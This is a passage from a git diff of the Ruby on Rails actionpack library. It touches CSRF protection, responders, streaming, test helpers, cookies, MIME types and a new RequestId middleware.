<tt>protect_from_forgery</tt> method, - # which will check the token and raise an ActionController::InvalidAuthenticityToken - # if it doesn't match what was expected. A call to this method is generated for new - # \Rails applications by default. You can customize the error message by editing - # public/422.html. + # which checks the token and resets the session if it doesn't match what was expected. + # A call to this method is generated for new \Rails applications by default. + # You can customize the error message by editing public/422.html. # # The token parameter is named <tt>authenticity_token</tt> by default. The name and # value of this token must be added to every layout that renders forms by including @@ -63,7 +63,7 @@ module ActionController #:nodoc: # # Valid Options: # - # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call. Set which actions are verified. + # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call. Set which actions are verified. def protect_from_forgery(options = {}) self.request_forgery_protection_token ||= :authenticity_token prepend_before_filter :verify_authenticity_token, options @@ -71,19 +71,21 @@ module ActionController #:nodoc: end protected - # The actual before_filter that is used. Modify this to change how you handle unverified requests. + # The actual before_filter that is used. Modify this to change how you handle unverified requests. def verify_authenticity_token unless verified_request? - logger.debug "WARNING: Can't verify CSRF token authenticity" if logger + logger.warn "WARNING: Can't verify CSRF token authenticity" if logger handle_unverified_request end end + # This is the method that defines the application behavior when a request is found to be unverified. + # By default, \Rails resets the session when it finds an unverified request. def handle_unverified_request reset_session end - # Returns true or false if a request is verified. Checks: + # Returns true or false if a request is verified. Checks: # # * is it a GET request? Gets should be safe and idempotent # * Does the form_authenticity_token match the given token value from the params? @@ -96,7 +98,7 @@ module ActionController #:nodoc: # Sets the token value for the current session. def form_authenticity_token - session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32) + session[:_csrf_token] ||= SecureRandom.base64(32) end # The form's authenticity parameter. Override to provide your own. diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb index ebadb29ea7..b932302a60 100644 --- a/actionpack/lib/action_controller/metal/responder.rb +++ b/actionpack/lib/action_controller/metal/responder.rb @@ -9,7 +9,7 @@ module ActionController #:nodoc: # respond_to :html, :xml, :json # # def index - # @people = Person.find(:all) + # @people = Person.all # respond_with(@people) # end # end @@ -162,6 +162,11 @@ module ActionController #:nodoc: navigation_behavior(e) end + # to_js simply tries to render a template. If no template is found, raises the error. + def to_js + default_render + end + # All other formats follow the procedure below. First we try to render a # template, if the template is not available, we verify if the resource # responds to :to_format and display it. @@ -197,10 +202,8 @@ module ActionController #:nodoc: display resource elsif post? display resource, :status => :created, :location => api_location - elsif has_empty_resource_definition? - display empty_resource, :status => :ok else - head :ok + head :no_content end end @@ -248,7 +251,7 @@ module ActionController #:nodoc: end def display_errors - controller.render format => resource.errors, :status => :unprocessable_entity + controller.render format => resource_errors, :status => :unprocessable_entity end # Check whether the resource has errors. @@ -264,22 +267,12 @@ module ActionController #:nodoc: @action ||= ACTIONS_FOR_VERBS[request.request_method_symbol] end - # Check whether resource needs a specific definition of empty resource to be valid - # - def has_empty_resource_definition? - respond_to?("empty_#{format}_resource") - end - - # Delegate to proper empty resource method - # - def empty_resource - send("empty_#{format}_resource") + def resource_errors + respond_to?("#{format}_resource_errors") ? send("#{format}_resource_errors") : resource.errors end - # Return a valid empty JSON resource - # - def empty_json_resource - "{}" + def json_resource_errors + {:errors => resource.errors} end end end diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb index 3892a12407..5fe5334458 100644 --- a/actionpack/lib/action_controller/metal/streaming.rb +++ b/actionpack/lib/action_controller/metal/streaming.rb @@ -24,20 +24,8 @@ module ActionController #:nodoc: # # == Examples # - # Streaming can be added to a controller easily, all you need to do is - # call +stream+ in the controller class: - # - # class PostsController - # stream - # end - # - # The +stream+ method accepts the same options as +before_filter+ and friends: - # - # class PostsController - # stream :only => :index - # end - # - # You can also selectively turn on streaming for specific actions: + # Streaming can be added to a given template easily, all you need to do is + # to pass the :stream option. # # class PostsController # def index @@ -72,6 +60,9 @@ module ActionController #:nodoc: # render :stream => true # end # + # Notice that :stream only works with templates. Rendering :json + # or :xml with :stream won't work. + # # == Communication between layout and template # # When streaming, rendering happens top-down instead of inside-out. @@ -209,33 +200,9 @@ module ActionController #:nodoc: extend ActiveSupport::Concern include AbstractController::Rendering - attr_internal :stream - - module ClassMethods - # Render streaming templates. It accepts :only, :except, :if and :unless as options - # to specify when to stream, as in ActionController filters. - def stream(options={}) - if defined?(Fiber) - before_filter :_stream_filter, options - else - raise "You cannot use streaming if Fiber is not available." - end - end - end protected - # Mark following render calls as streaming. - def _stream_filter #:nodoc: - self.stream = true - end - - # Consider the stream option when normalazing options. - def _normalize_options(options) #:nodoc: - super - options[:stream] = self.stream unless options.key?(:stream) - end - # Set proper cache control and transfer encoding when streaming def _process_options(options) #:nodoc: super @@ -260,4 +227,3 @@ module ActionController #:nodoc: end end end -
\ No newline at end of file diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb index f4efeb33ba..d1813ee745 100644 --- a/actionpack/lib/action_controller/metal/testing.rb +++ b/actionpack/lib/action_controller/metal/testing.rb @@ -4,6 +4,11 @@ module ActionController include RackDelegation + def recycle! + @_url_options = nil + end + + # TODO: Clean this up def process_with_new_base_test(request, response) @_request = request diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb index 08132b1900..0b40b1fc4c 100644 --- a/actionpack/lib/action_controller/metal/url_for.rb +++ b/actionpack/lib/action_controller/metal/url_for.rb @@ -18,7 +18,7 @@ # @url = root_path # named route from the application. # end # end -# => +# module ActionController module UrlFor extend ActiveSupport::Concern diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb index d2ba052c8d..f0c29825ba 100644 --- a/actionpack/lib/action_controller/railtie.rb +++ b/actionpack/lib/action_controller/railtie.rb @@ -4,7 +4,6 @@ require "action_dispatch/railtie" require "action_view/railtie" require "abstract_controller/railties/routes_helpers" require "action_controller/railties/paths" -require "sprockets/railtie" module ActionController class Railtie < Rails::Railtie diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb index 2def78b51a..9c38ff44d8 100644 --- a/actionpack/lib/action_controller/record_identifier.rb +++ b/actionpack/lib/action_controller/record_identifier.rb @@ -14,9 +14,9 @@ module ActionController # <% end %> </div> # # # controller - # def destroy + # def update # post = Post.find(params[:id]) - # post.destroy + # post.update_attributes(params[:post]) # # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post) # end @@ -40,7 +40,7 @@ module ActionController # dom_class(post, :edit) # => "edit_post" # dom_class(Person, :edit) # => "edit_person" def dom_class(record_or_class, prefix = nil) - singular = ActiveModel::Naming.singular(record_or_class) + singular = ActiveModel::Naming.param_key(record_or_class) prefix ? "#{prefix}#{JOIN}#{singular}" : singular end @@ -67,7 +67,7 @@ module ActionController # This can be overwritten to customize the default generated string representation if desired. # If you need to read back a key from a dom_id in order to query for the underlying database record, # you should write a helper like 'person_record_from_dom_id' that will extract the key either based - # on the default implementation (which just joins all key attributes with '-') or on your own + # on the default implementation (which just joins all key attributes with '_') or on your own # overwritten version of the method. By default, this implementation passes the key string through a # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to # make sure yourself that your dom ids are valid, in case you overwrite this method. diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb index 89ff5ba174..6913c1ef4a 100644 --- a/actionpack/lib/action_controller/test_case.rb +++ b/actionpack/lib/action_controller/test_case.rb @@ -79,10 +79,10 @@ module ActionController "expecting <?> but rendering with <?>", options, rendered.keys.join(', ')) assert_block(msg) do - if options.nil? - @templates.blank? - else + if options rendered.any? { |t,num| t.match(options) } + else + @templates.blank? end end when Hash @@ -130,7 +130,7 @@ module ActionController super self.session = TestSession.new - self.session_options = TestSession::DEFAULT_OPTIONS.merge(:id => ActiveSupport::SecureRandom.hex(16)) + self.session_options = TestSession::DEFAULT_OPTIONS.merge(:id => SecureRandom.hex(16)) end class Result < ::Array #:nodoc: @@ -175,17 +175,21 @@ module ActionController end def recycle! - write_cookies! - @env.delete('HTTP_COOKIE') if @cookies.blank? - @env.delete('action_dispatch.cookies') - @cookies = nil @formats = nil @env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ } @env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ } @symbolized_path_params = nil @method = @request_method = nil - @fullpath = @ip = @remote_ip = nil + @fullpath = @ip = @remote_ip = @protocol = nil @env['action_dispatch.request.query_parameters'] = {} + @set_cookies ||= {} + @set_cookies.update(Hash[cookie_jar.instance_variable_get("@set_cookies").map{ |k,o| [k,o[:value]] }]) + deleted_cookies = cookie_jar.instance_variable_get("@delete_cookies") + @set_cookies.reject!{ |k,v| deleted_cookies.include?(k) } + cookie_jar.update(rack_cookies) + cookie_jar.update(cookies) + cookie_jar.update(@set_cookies) + cookie_jar.recycle! end end @@ -206,7 +210,7 @@ module ActionController DEFAULT_OPTIONS = Rack::Session::Abstract::ID::DEFAULT_OPTIONS def initialize(session = {}) - @env, @by = nil, nil + super(nil, nil) replace(session.stringify_keys) @loaded = true end @@ -301,18 +305,17 @@ module ActionController # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another # action call which can then be asserted against. # - # == Manipulating the request collections + # == Manipulating session and cookie variables # - # The collections described above link to the response, so you can test if what the actions were expected to do happened. But - # sometimes you also want to manipulate these collections in the incoming request. This is really only relevant for sessions - # and cookies, though. For sessions, you just do: + # Sometimes you need to set up the session and cookie variables for a test. + # To do this just assign a value to the session or cookie collection: # - # @request.session[:key] = "value" - # @request.cookies[:key] = "value" + # session[:key] = "value" + # cookies[:key] = "value" # - # To clear the cookies for a test just clear the request's cookies hash: + # To clear the cookies for a test just clear the cookie collection: # - # @request.cookies.clear + # cookies.clear # # == \Testing named routes # @@ -330,9 +333,21 @@ module ActionController module ClassMethods # Sets the controller class name. Useful if the name can't be inferred from test class. - # Expects +controller_class+ as a constant. Example: <tt>tests WidgetController</tt>. + # Normalizes +controller_class+ before using. Examples: + # + # tests WidgetController + # tests :widget + # tests 'widget' + # def tests(controller_class) - self.controller_class = controller_class + case controller_class + when String, Symbol + self.controller_class = "#{controller_class.to_s.underscore}_controller".camelize.constantize + when Class + self.controller_class = controller_class + else + raise ArgumentError, "controller class must be a String, Symbol, or Class" + end end def controller_class=(new_class) @@ -349,9 +364,7 @@ module ActionController end def determine_default_controller_class(name) - name.sub(/Test$/, '').constantize - rescue NameError - nil + name.sub(/Test$/, '').safe_constantize end def prepare_controller_class(new_class) @@ -395,7 +408,24 @@ module ActionController end alias xhr :xml_http_request + def paramify_values(hash_or_array_or_value) + case hash_or_array_or_value + when Hash + Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }] + when Array + hash_or_array_or_value.map {|i| paramify_values(i)} + when Rack::Test::UploadedFile + hash_or_array_or_value + else + hash_or_array_or_value.to_param + end + end + def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET') + # Ensure that numbers and symbols passed as params are converted to + # proper params, as is the case when engaging rack. + parameters = paramify_values(parameters) + # Sanity check for required instance variables so we can give an # understandable error message. %w(@routes @controller @request @response).each do |iv_name| @@ -428,10 +458,10 @@ module ActionController @controller.params.merge!(parameters) build_request_uri(action, parameters) @controller.class.class_eval { include Testing } + @controller.recycle! @controller.process_with_new_base_test(@request, @response) @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {} @request.session.delete('flash') if @request.session['flash'].blank? - @request.cookies.merge!(@response.cookies) @response end diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb index 7fa3aead82..386820300a 100644 --- a/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb +++ b/actionpack/lib/action_controller/vendor/html-scanner/html/document.rb @@ -4,7 +4,7 @@ require 'html/selector' require 'html/sanitizer' module HTML #:nodoc: - # A top-level HTMl document. You give it a body of text, and it will parse that + # A top-level HTML document. You give it a body of text, and it will parse that # text into a tree of nodes. class Document #:nodoc: diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb index 22b3243104..4e1f016431 100644 --- a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb +++ b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb @@ -156,7 +156,7 @@ module HTML #:nodoc: end closing = ( scanner.scan(/\//) ? :close : nil ) - return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/) + return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/) name.downcase! unless closing diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb index 91a97c02ff..af06bffa16 100644 --- a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb +++ b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb @@ -1,4 +1,5 @@ require 'set' +require 'cgi' require 'active_support/core_ext/class/attribute' module HTML @@ -103,7 +104,7 @@ module HTML # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers. self.shorthand_css_properties = Set.new(%w(background border margin padding)) - # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute + # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute def sanitize_css(style) # disallow urls style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ') diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb index 7f972fc281..1e92d14542 100644 --- a/actionpack/lib/action_dispatch.rb +++ b/actionpack/lib/action_dispatch.rb @@ -47,6 +47,7 @@ module ActionDispatch end autoload_under 'middleware' do + autoload :RequestId autoload :BestStandardsSupport autoload :Callbacks autoload :Cookies @@ -82,6 +83,7 @@ module ActionDispatch autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store' autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store' autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store' + autoload :CacheStore, 'action_dispatch/middleware/session/cache_store' end autoload_under 'testing' do diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb index 1e43104f0a..505d5560b1 100644 --- a/actionpack/lib/action_dispatch/http/headers.rb +++ b/actionpack/lib/action_dispatch/http/headers.rb @@ -3,9 +3,10 @@ require 'active_support/memoizable' module ActionDispatch module Http class Headers < ::Hash - extend ActiveSupport::Memoizable + @@env_cache = Hash.new { |h,k| h[k] = "HTTP_#{k.upcase.gsub(/-/, '_')}" } def initialize(*args) + if args.size == 1 && args[0].is_a?(Hash) super() update(args[0]) @@ -25,9 +26,8 @@ module ActionDispatch private # Converts a HTTP header name to an environment variable name. def env_name(header_name) - "HTTP_#{header_name.upcase.gsub(/-/, '_')}" + @@env_cache[header_name] end - memoize :env_name end end end diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb index 980c658ab7..5c48a60469 100644 --- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb +++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb @@ -98,7 +98,8 @@ module ActionDispatch BROWSER_LIKE_ACCEPTS = /,\s*\*\/\*|\*\/\*\s*,/ def valid_accept_header - xhr? || (accept && accept !~ BROWSER_LIKE_ACCEPTS) + (xhr? && (accept || content_mime_type)) || + (accept && accept !~ BROWSER_LIKE_ACCEPTS) end def use_accept_header diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb index 7c9ebe7c7b..8a9f9c4315 100644 --- a/actionpack/lib/action_dispatch/http/mime_type.rb +++ b/actionpack/lib/action_dispatch/http/mime_type.rb @@ -47,7 +47,7 @@ module Mime cattr_reader :html_types # These are the content types which browsers can generate without using ajax, flash, etc - # i.e. following a link, getting an image or posting a form. CSRF protection + # i.e. following a link, getting an image or posting a form. CSRF protection # only needs to protect against these types. @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text] cattr_reader :browser_generated_types @@ -246,7 +246,7 @@ module Mime end end - # Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See + # Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See # ActionController::RequestForgeryProtection. def verify_request? @@browser_generated_types.include?(to_sym) @@ -256,6 +256,10 @@ module Mime @@html_types.include?(to_sym) || @string =~ /html/ end + def respond_to?(method, include_private = false) #:nodoc: + super || method.to_s =~ /(\w+)\?$/ + end + private def method_missing(method, *args) if method.to_s =~ /(\w+)\?$/ diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb index 68f37d2f65..3da4f91051 100644 --- a/actionpack/lib/action_dispatch/http/mime_types.rb +++ b/actionpack/lib/action_dispatch/http/mime_types.rb @@ -7,6 +7,15 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati Mime::Type.register "text/css", :css Mime::Type.register "text/calendar", :ics Mime::Type.register "text/csv", :csv + +Mime::Type.register "image/png", :png, [], %w(png) +Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe) +Mime::Type.register "image/gif", :gif, [], %w(gif) +Mime::Type.register "image/bmp", :bmp, [], %w(bmp) +Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff) + +Mime::Type.register "video/mpeg", :mpeg, [], %w(mpg mpeg mpe) + Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml ) Mime::Type.register "application/rss+xml", :rss Mime::Type.register "application/atom+xml", :atom @@ -19,5 +28,8 @@ Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form # http://www.json.org/JSONRequest.html Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest ) +Mime::Type.register "application/pdf", :pdf, [], %w(pdf) +Mime::Type.register "application/zip", :zip, [], %w(zip) + # Create Mime::ALL but do not add it to the SET. Mime::ALL = Mime::Type.new("*/*", :all, []) diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb index ccb866f4f7..7a5237dcf3 100644 --- a/actionpack/lib/action_dispatch/http/request.rb +++ b/actionpack/lib/action_dispatch/http/request.rb @@ -2,11 +2,11 @@ require 'tempfile' require 'stringio' require 'strscan' -require 'active_support/core_ext/module/deprecation' require 'active_support/core_ext/hash/indifferent_access' require 'active_support/core_ext/string/access' require 'active_support/inflector' require 'action_dispatch/http/headers' +require 'action_controller/metal/exceptions' module ActionDispatch class Request < Rack::Request @@ -26,12 +26,12 @@ module ActionDispatch HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM HTTP_NEGOTIATE HTTP_PRAGMA ].freeze - + ENV_METHODS.each do |env| class_eval <<-METHOD, __FILE__, __LINE__ + 1 - def #{env.sub(/^HTTP_/n, '').downcase} - @env["#{env}"] - end + def #{env.sub(/^HTTP_/n, '').downcase} # def accept_charset + @env["#{env}"] # @env["HTTP_ACCEPT_CHARSET"] + end # end METHOD end @@ -134,11 +134,6 @@ module ActionDispatch @fullpath ||= super end - def forgery_whitelisted? - get? - end - deprecate :forgery_whitelisted? => "it is just an alias for 'get?' now, update your code" - def media_type content_mime_type.to_s end @@ -172,16 +167,26 @@ module ActionDispatch )\. }x - # Determines originating IP address. REMOTE_ADDR is the standard - # but will fail if the user is behind a proxy. HTTP_CLIENT_IP and/or + # Determines originating IP address. REMOTE_ADDR is the standard + # but will fail if the user is behind a proxy. HTTP_CLIENT_IP and/or # HTTP_X_FORWARDED_FOR are set by proxies so check for these if - # REMOTE_ADDR is a proxy. HTTP_X_FORWARDED_FOR may be a comma- + # REMOTE_ADDR is a proxy. HTTP_X_FORWARDED_FOR may be a comma- # delimited list in the case of multiple chained proxies; the last # address which is not trusted is the originating IP. def remote_ip @remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s end + # Returns the unique request id, which is based off either the X-Request-Id header that can + # be generated by a firewall, load balancer, or web server or by the RequestId middleware + # (which sets the action_dispatch.request_id environment variable). + # + # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging. + # This relies on the rack variable set by the ActionDispatch::RequestId middleware. + def uuid + @uuid ||= env["action_dispatch.request_id"] + end + # Returns the lowercase name of the HTTP server software. def server_software (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb index 3a6b1da4fd..f1e85559a3 100644 --- a/actionpack/lib/action_dispatch/http/response.rb +++ b/actionpack/lib/action_dispatch/http/response.rb @@ -33,7 +33,8 @@ module ActionDispatch # :nodoc: # end # end class Response - attr_accessor :request, :header, :status + attr_accessor :request, :header + attr_reader :status attr_writer :sending_file alias_method :headers=, :header= @@ -115,32 +116,9 @@ module ActionDispatch # :nodoc: EMPTY = " " - class BodyBuster #:nodoc: - def initialize(response) - @response = response - @body = "" - end - - def bust(body) - body.call(@response, self) - body.close if body.respond_to?(:close) - @body - end - - def write(string) - @body << string.to_s - end - end - def body=(body) @blank = true if body == EMPTY - if body.respond_to?(:call) - ActiveSupport::Deprecation.warn "Setting a Proc or an object that responds to call " \ - "in response_body is no longer supported", caller - body = BodyBuster.new(self).bust(body) - end - # Explicitly check for strings. This is *wrong* theoretically # but if we don't check this, the performance on string bodies # is bad on Ruby 1.8 (because strings responds to each then). diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb index 37effade4f..94fa747a79 100644 --- a/actionpack/lib/action_dispatch/http/upload.rb +++ b/actionpack/lib/action_dispatch/http/upload.rb @@ -4,31 +4,30 @@ module ActionDispatch attr_accessor :original_filename, :content_type, :tempfile, :headers def initialize(hash) - @original_filename = hash[:filename] + @original_filename = encode_filename(hash[:filename]) @content_type = hash[:type] @headers = hash[:head] @tempfile = hash[:tempfile] raise(ArgumentError, ':tempfile is required') unless @tempfile end - def open - @tempfile.open - end - - def path - @tempfile.path - end - def read(*args) @tempfile.read(*args) end - def rewind - @tempfile.rewind + # Delegate these methods to the tempfile. + [:open, :path, :rewind, :size].each do |method| + class_eval "def #{method}; @tempfile.#{method}; end" end - - def size - @tempfile.size + + private + def encode_filename(filename) + # Encode the filename in the utf8 encoding, unless it is nil or we're in 1.8 + if "ruby".encoding_aware? && filename + filename.force_encoding("UTF-8").encode! + else + filename + end end end diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb index 8487b0fc8c..c8ddd07bfa 100644 --- a/actionpack/lib/action_dispatch/http/url.rb +++ b/actionpack/lib/action_dispatch/http/url.rb @@ -45,7 +45,7 @@ module ActionDispatch rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path) rewritten_url << "?#{params.to_query}" unless params.empty? - rewritten_url << "##{Rack::Mount::Utils.escape_uri(options[:anchor].to_param.to_s)}" if options[:anchor] + rewritten_url << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor] rewritten_url end @@ -64,14 +64,16 @@ module ActionDispatch end def host_or_subdomain_and_domain(options) - return options[:host] unless options[:subdomain] || options[:domain] + return options[:host] if options[:subdomain].nil? && options[:domain].nil? tld_length = options[:tld_length] || @@tld_length host = "" - host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)) - host << "." - host << (options[:domain] || extract_domain(options[:host], tld_length)) + unless options[:subdomain] == false + host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)) + host << "." + end + host << (options[:domain] || extract_domain(options[:host], tld_length)) host end end diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb index 1bb2ad7f67..8c0f4052ec 100644 --- a/actionpack/lib/action_dispatch/middleware/callbacks.rb +++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb @@ -19,8 +19,7 @@ module ActionDispatch set_callback(:call, :after, *args, &block) end - def initialize(app, unused = nil) - ActiveSupport::Deprecation.warn "Passing a second argument to ActionDispatch::Callbacks.new is deprecated." unless unused.nil? + def initialize(app) @app = app end diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb index 0057f64dd3..a4ffd40a66 100644 --- a/actionpack/lib/action_dispatch/middleware/cookies.rb +++ b/actionpack/lib/action_dispatch/middleware/cookies.rb @@ -1,4 +1,5 @@ -require "active_support/core_ext/object/blank" +require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/hash/keys' module ActionDispatch class Request @@ -59,7 +60,7 @@ module ActionDispatch # The option symbols for setting cookies are: # # * <tt>:value</tt> - The cookie's value or list of values (as an array). - # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root + # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root # of the application. # * <tt>:domain</tt> - The domain for which this cookie applies so you can # restrict to the domain level. If you use a schema like www.example.com @@ -84,6 +85,7 @@ module ActionDispatch class CookieOverflow < StandardError; end class CookieJar #:nodoc: + include Enumerable # This regular expression is used to split the levels of a domain. # The top level domain can be any string without a period or @@ -123,13 +125,22 @@ module ActionDispatch alias :closed? :closed def close!; @closed = true end + def each(&block) + @cookies.each(&block) + end + # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists. def [](name) @cookies[name.to_s] end + def key?(name) + @cookies.key?(name.to_s) + end + alias :has_key? :key? + def update(other_hash) - @cookies.update other_hash + @cookies.update other_hash.stringify_keys self end @@ -163,7 +174,7 @@ module ActionDispatch options = { :value => value } end - value = @cookies[key.to_s] = value + @cookies[key.to_s] = value handle_options(options) @@ -185,6 +196,11 @@ module ActionDispatch value end + # Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie + def clear(options = {}) + @cookies.each_key{ |k| delete(k, options) } + end + # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example: # # cookies.permanent[:prefers_open_id] = true @@ -222,6 +238,11 @@ module ActionDispatch @delete_cookies.each { |k, v| ::Rack::Utils.delete_cookie_header!(headers, k, v) } end + def recycle! #:nodoc: + @set_cookies.clear + @delete_cookies.clear + end + private def write_cookie?(cookie) @@ -305,7 +326,7 @@ module ActionDispatch if secret.length < SECRET_MIN_LENGTH raise ArgumentError, "Secret should be something secure, " + - "like \"#{ActiveSupport::SecureRandom.hex(16)}\". The value you " + + "like \"#{SecureRandom.hex(16)}\". The value you " + "provided, \"#{secret}\", is shorter than the minimum length " + "of #{SECRET_MIN_LENGTH} characters" end diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb index 2adbce031b..e59404ef68 100644 --- a/actionpack/lib/action_dispatch/middleware/flash.rb +++ b/actionpack/lib/action_dispatch/middleware/flash.rb @@ -70,6 +70,10 @@ module ActionDispatch end end + # Implementation detail: please do not change the signature of the + # FlashHash class. Doing that will likely affect all Rails apps in + # production as the FlashHash currently stored in their sessions will + # become invalid. class FlashHash include Enumerable diff --git a/actionpack/lib/action_dispatch/middleware/head.rb b/actionpack/lib/action_dispatch/middleware/head.rb index 56e2d2f2a8..f1906a3ab3 100644 --- a/actionpack/lib/action_dispatch/middleware/head.rb +++ b/actionpack/lib/action_dispatch/middleware/head.rb @@ -8,7 +8,7 @@ module ActionDispatch if env["REQUEST_METHOD"] == "HEAD" env["REQUEST_METHOD"] = "GET" env["rack.methodoverride.original_method"] = "HEAD" - status, headers, body = @app.call(env) + status, headers, _ = @app.call(env) [status, headers, []] else @app.call(env) diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb new file mode 100644 index 0000000000..bee446c8a5 --- /dev/null +++ b/actionpack/lib/action_dispatch/middleware/request_id.rb @@ -0,0 +1,39 @@ +require 'securerandom' +require 'active_support/core_ext/string/access' +require 'active_support/core_ext/object/blank' + +module ActionDispatch + # Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through + # ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header. + # + # The unique request id is either based off the X-Request-Id header in the request, which would typically be generated + # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the + # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only. + # + # The unique request id can be used to trace a request end-to-end and would typically end up being part of log files + # from multiple pieces of the stack. + class RequestId + def initialize(app) + @app = app + end + + def call(env) + env["action_dispatch.request_id"] = external_request_id(env) || internal_request_id + status, headers, body = @app.call(env) + + headers["X-Request-Id"] = env["action_dispatch.request_id"] + [ status, headers, body ] + end + + private + def external_request_id(env) + if request_id = env["HTTP_X_REQUEST_ID"].presence + request_id.gsub(/[^\w\-]/, "").first(255) + end + end + + def internal_request_id + SecureRandom.hex(16) + end + end +end diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb index 1a811ce1b1..6bcf099d2c 100644 --- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb @@ -29,7 +29,7 @@ module ActionDispatch end def generate_sid - sid = ActiveSupport::SecureRandom.hex(16) + sid = SecureRandom.hex(16) sid.encode!('UTF-8') if sid.respond_to?(:encode!) sid end @@ -59,7 +59,10 @@ module ActionDispatch # Note that the regexp does not allow $1 to end with a ':' $1.constantize rescue LoadError, NameError => const_error - raise ActionDispatch::Session::SessionRestoreError, "Session contains objects whose class definition isn't available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: #{const_error.message} 